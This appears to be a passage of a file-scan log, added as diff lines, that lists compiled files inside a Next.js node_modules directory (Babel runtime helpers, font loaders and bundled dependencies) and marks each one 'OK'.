+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/asyncToGenerator.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/jsx.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/arrayWithoutHoles.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/interopRequireWildcard.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/regeneratorRuntime.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/taggedTemplateLiteralLoose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/using.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/applyDecs2305.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/readOnlyError.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/inheritsLoose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/instanceof.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classCheckPrivateStaticFieldDescriptor.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/arrayWithHoles.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/decorate.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/newArrowCheck.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/applyDecs2301.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/nonIterableRest.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/asyncIterator.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/objectWithoutProperties.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/assertThisInitialized.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classApplyDescriptorSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/possibleConstructorReturn.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classPrivateFieldLooseBase.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/toArray.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classPrivateFieldSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/defineAccessor.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/createForOfIteratorHelper.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/iterableToArray.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classStaticPrivateFieldSpecSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classPrivateMethodInitSpec.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classPrivateFieldLooseKey.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/toConsumableArray.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classStaticPrivateFieldSpecGet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/iterableToArrayLimitLoose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classCheckPrivateStaticAccess.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/wrapRegExp.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/extends.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classPrivateFieldInitSpec.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classApplyDescriptorGet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/initializerWarningHelper.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/objectSpread.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/defineProperty.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classPrivateFieldGet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/maybeArrayLike.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/set.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/asyncGeneratorDelegate.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/skipFirstGeneratorNext.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/objectSpread2.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classCallCheck.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/unsupportedIterableToArray.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classApplyDescriptorDestructureSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/applyDecs2203R.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classNameTDZError.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/wrapAsyncGenerator.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/temporalUndefined.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/package.json: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classStaticPrivateMethodSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/typeof.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/getPrototypeOf.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/AsyncGenerator.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/AwaitValue.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/checkPrivateRedeclaration.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classStaticPrivateMethodGet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/iterableToArrayLimit.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/get.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/taggedTemplateLiteral.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classStaticPrivateFieldDestructureSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/checkInRHS.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/superPropBase.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/tdz.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/identity.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classExtractFieldDescriptor.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/nonIterableSpread.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/setPrototypeOf.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/applyDecs.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/slicedToArray.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/arrayLikeToArray.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classPrivateMethodSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/inherits.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/createForOfIteratorHelperLoose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/createSuper.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/objectWithoutPropertiesLoose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/applyDecs2203.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/wrapNativeSuper.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/defineEnumerableProperties.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/toPropertyKey.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/construct.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/defaults.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/slicedToArrayLoose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classPrivateMethodGet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/isNativeFunction.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/awaitAsyncGenerator.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/OverloadYield.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/toPrimitive.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/applyDecoratedDescriptor.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/dispose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/initializerDefineProperty.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/temporalRef.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/classPrivateFieldDestructureSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/isNativeReflectConstruct.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/writeOnlyError.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classApplyDescriptorSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/possibleConstructorReturn.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classPrivateFieldLooseBase.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/toArray.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classPrivateFieldSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/defineAccessor.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/createForOfIteratorHelper.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/iterableToArray.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classStaticPrivateFieldSpecSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classPrivateMethodInitSpec.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classPrivateFieldLooseKey.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/toConsumableArray.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classStaticPrivateFieldSpecGet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/iterableToArrayLimitLoose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classCheckPrivateStaticAccess.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/wrapRegExp.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/extends.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classPrivateFieldInitSpec.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classApplyDescriptorGet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/initializerWarningHelper.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/objectSpread.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/defineProperty.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classPrivateFieldGet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/maybeArrayLike.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/set.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/asyncGeneratorDelegate.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/skipFirstGeneratorNext.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/objectSpread2.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classCallCheck.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/unsupportedIterableToArray.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classApplyDescriptorDestructureSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/applyDecs2203R.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classNameTDZError.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/wrapAsyncGenerator.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/temporalUndefined.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classStaticPrivateMethodSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/typeof.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/getPrototypeOf.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/AsyncGenerator.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/AwaitValue.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/checkPrivateRedeclaration.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classStaticPrivateMethodGet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/iterableToArrayLimit.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/get.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/taggedTemplateLiteral.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classStaticPrivateFieldDestructureSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/checkInRHS.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/superPropBase.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/tdz.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/identity.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classExtractFieldDescriptor.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/nonIterableSpread.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/setPrototypeOf.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/applyDecs.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/slicedToArray.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/arrayLikeToArray.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classPrivateMethodSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/inherits.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/createForOfIteratorHelperLoose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/createSuper.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/objectWithoutPropertiesLoose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/applyDecs2203.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/wrapNativeSuper.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/defineEnumerableProperties.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/toPropertyKey.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/construct.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/defaults.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/slicedToArrayLoose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classPrivateMethodGet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/isNativeFunction.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/awaitAsyncGenerator.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/OverloadYield.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/toPrimitive.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/applyDecoratedDescriptor.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/dispose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/initializerDefineProperty.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/temporalRef.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classPrivateFieldDestructureSet.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/isNativeReflectConstruct.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/writeOnlyError.js: OK
+/scan/node_modules/next/dist/compiled/shell-quote/LICENSE: OK
+/scan/node_modules/next/dist/compiled/shell-quote/index.js: OK
+/scan/node_modules/next/dist/compiled/shell-quote/package.json: OK
+/scan/node_modules/next/dist/compiled/image-size/LICENSE: OK
+/scan/node_modules/next/dist/compiled/image-size/index.js: OK
+/scan/node_modules/next/dist/compiled/image-size/package.json: OK
+/scan/node_modules/next/dist/compiled/compression/LICENSE: OK
+/scan/node_modules/next/dist/compiled/compression/index.js: OK
+/scan/node_modules/next/dist/compiled/compression/package.json: OK
+/scan/node_modules/next/dist/compiled/json5/index.js: OK
+/scan/node_modules/next/dist/compiled/json5/package.json: OK
+/scan/node_modules/next/dist/compiled/postcss-modules-extract-imports/LICENSE: OK
+/scan/node_modules/next/dist/compiled/postcss-modules-extract-imports/index.js: OK
+/scan/node_modules/next/dist/compiled/postcss-modules-extract-imports/package.json: OK
+/scan/node_modules/next/dist/compiled/cross-spawn/LICENSE: OK
+/scan/node_modules/next/dist/compiled/cross-spawn/index.js: OK
+/scan/node_modules/next/dist/compiled/cross-spawn/package.json: OK
+/scan/node_modules/next/dist/compiled/ua-parser-js/package.json: OK
+/scan/node_modules/next/dist/compiled/ua-parser-js/ua-parser.js: OK
+/scan/node_modules/next/dist/compiled/native-url/LICENSE: OK
+/scan/node_modules/next/dist/compiled/native-url/index.js: OK
+/scan/node_modules/next/dist/compiled/native-url/package.json: OK
+/scan/node_modules/next/dist/compiled/source-map08/LICENSE: OK
+/scan/node_modules/next/dist/compiled/source-map08/package.json: OK
+/scan/node_modules/next/dist/compiled/source-map08/source-map.js: OK
+/scan/node_modules/next/dist/compiled/source-map08/mappings.wasm: OK
+/scan/node_modules/next/dist/compiled/glob/LICENSE: OK
+/scan/node_modules/next/dist/compiled/glob/package.json: OK
+/scan/node_modules/next/dist/compiled/glob/glob.js: OK
+/scan/node_modules/next/dist/compiled/cookie/LICENSE: OK
+/scan/node_modules/next/dist/compiled/cookie/index.js: OK
+/scan/node_modules/next/dist/compiled/cookie/package.json: OK
+/scan/node_modules/next/dist/compiled/neo-async/LICENSE: OK
+/scan/node_modules/next/dist/compiled/neo-async/async.js: OK
+/scan/node_modules/next/dist/compiled/neo-async/package.json: OK
+/scan/node_modules/next/dist/compiled/mini-css-extract-plugin/LICENSE: OK
+/scan/node_modules/next/dist/compiled/mini-css-extract-plugin/cjs.js: OK
+/scan/node_modules/next/dist/compiled/mini-css-extract-plugin/hmr/hotModuleReplacement.js: OK
+/scan/node_modules/next/dist/compiled/mini-css-extract-plugin/index.js: OK
+/scan/node_modules/next/dist/compiled/mini-css-extract-plugin/package.json: OK
+/scan/node_modules/next/dist/compiled/mini-css-extract-plugin/loader.js: OK
+/scan/node_modules/next/dist/compiled/source-map/LICENSE: OK
+/scan/node_modules/next/dist/compiled/source-map/package.json: OK
+/scan/node_modules/next/dist/compiled/source-map/source-map.js: OK
+/scan/node_modules/next/dist/compiled/schema-utils3/LICENSE: OK
+/scan/node_modules/next/dist/compiled/schema-utils3/index.js: OK
+/scan/node_modules/next/dist/compiled/schema-utils3/package.json: OK
+/scan/node_modules/next/dist/compiled/is-animated/index.js: OK
+/scan/node_modules/next/dist/compiled/is-animated/package.json: OK
+/scan/node_modules/next/dist/compiled/@next/react-refresh-utils/dist/runtime.js: OK
+/scan/node_modules/next/dist/compiled/@next/react-refresh-utils/dist/internal/helpers.js: OK
+/scan/node_modules/next/dist/compiled/@next/react-refresh-utils/dist/internal/ReactRefreshModule.runtime.js: OK
+/scan/node_modules/next/dist/compiled/@next/react-refresh-utils/dist/ReactRefreshWebpackPlugin.js: OK
+/scan/node_modules/next/dist/compiled/@next/react-refresh-utils/dist/loader.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/constants.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/constants.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/format-available-values.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/types.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/types.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/validate-google-font-function-call.test.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/validate-google-font-function-call.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/get-fallback-font-override-metrics.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/validate-google-font-function-call.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/loader.test.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/validate-google-font-function-call.test.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/sort-fonts-variant-values.test.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/get-font-axes.test.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/index.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/get-proxy-agent.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/get-proxy-agent.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/sort-fonts-variant-values.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/get-font-axes.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/find-font-files-in-css.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/google-fonts-metadata.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/google-fonts-metadata.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/sort-fonts-variant-values.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/sort-fonts-variant-values.test.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/get-font-axes.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/loader.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/loader.test.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/get-fallback-font-override-metrics.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/fetch-font-file.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/font-data.json: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/fetch-css-from-google-fonts.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/find-font-files-in-css.test.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/fetch-font-file.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/get-google-fonts-url.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/find-font-files-in-css.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/fetch-css-from-google-fonts.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/index.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/retry.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/find-font-files-in-css.test.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/retry.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/get-google-fonts-url.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/loader.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/google/get-font-axes.test.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/fontkit/index.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/pick-font-file-for-fallback-generation.test.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/pick-font-file-for-fallback-generation.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/loader.test.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/pick-font-file-for-fallback-generation.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/get-fallback-metrics-from-font-file.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/validate-local-font-function-call.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/index.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/validate-local-font-function-call.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/loader.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/loader.test.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/validate-local-font-function-call.test.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/validate-local-font-function-call.test.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/index.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/get-fallback-metrics-from-font-file.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/pick-font-file-for-fallback-generation.test.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/local/loader.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/next-font-error.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/format-available-values.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/dist/next-font-error.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/google/index.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/google/loader.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/google/index.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/google/loader.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/local/index.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/local/loader.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/local/index.d.ts: OK
+/scan/node_modules/next/dist/compiled/@next/font/local/loader.js: OK
+/scan/node_modules/next/dist/compiled/@next/font/package.json: OK
+/scan/node_modules/next/dist/compiled/async-retry/index.js: OK
+/scan/node_modules/next/dist/compiled/async-retry/package.json: OK
+/scan/node_modules/next/dist/compiled/@vercel/nft/LICENSE: OK
+/scan/node_modules/next/dist/compiled/@vercel/nft/index.js: OK
+/scan/node_modules/next/dist/compiled/@vercel/nft/package.json: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/index.node.d.ts: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/og.d.ts: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/index.node.js: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/LICENSE: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/types.d.ts: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/emoji/index.d.ts: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/language/index.d.ts: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/figma/index.d.ts: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/yoga.wasm: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/package.json: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/resvg.wasm: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/index.edge.js: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/satori/LICENSE: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/satori/index.d.ts: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/noto-sans-v27-latin-regular.ttf: OK
+/scan/node_modules/next/dist/compiled/@vercel/og/index.edge.d.ts: OK
+/scan/node_modules/next/dist/compiled/https-proxy-agent/index.js: OK
+/scan/node_modules/next/dist/compiled/https-proxy-agent/package.json: OK
+/scan/node_modules/next/dist/compiled/events/events.js: OK
+/scan/node_modules/next/dist/compiled/events/LICENSE: OK
+/scan/node_modules/next/dist/compiled/events/package.json: OK
+/scan/node_modules/next/dist/compiled/terser/LICENSE: OK
+/scan/node_modules/next/dist/compiled/terser/bundle.min.js: OK
+/scan/node_modules/next/dist/compiled/terser/package.json: OK
+/scan/node_modules/next/dist/compiled/node-html-parser/LICENSE: OK
+/scan/node_modules/next/dist/compiled/node-html-parser/index.js: OK
+/scan/node_modules/next/dist/compiled/node-html-parser/package.json: OK
+/scan/node_modules/next/dist/compiled/postcss-flexbugs-fixes/LICENSE: OK
+/scan/node_modules/next/dist/compiled/postcss-flexbugs-fixes/index.js: OK
+/scan/node_modules/next/dist/compiled/postcss-flexbugs-fixes/package.json: OK
+/scan/node_modules/next/dist/compiled/https-browserify/LICENSE: OK
+/scan/node_modules/next/dist/compiled/https-browserify/index.js: OK
+/scan/node_modules/next/dist/compiled/https-browserify/package.json: OK
+/scan/node_modules/next/dist/compiled/http-proxy-agent/index.js: OK
+/scan/node_modules/next/dist/compiled/http-proxy-agent/package.json: OK
+/scan/node_modules/next/dist/compiled/postcss-safe-parser/safe-parse.js: OK
+/scan/node_modules/next/dist/compiled/postcss-safe-parser/LICENSE: OK
+/scan/node_modules/next/dist/compiled/postcss-safe-parser/package.json: OK
+/scan/node_modules/next/dist/compiled/schema-utils2/LICENSE: OK
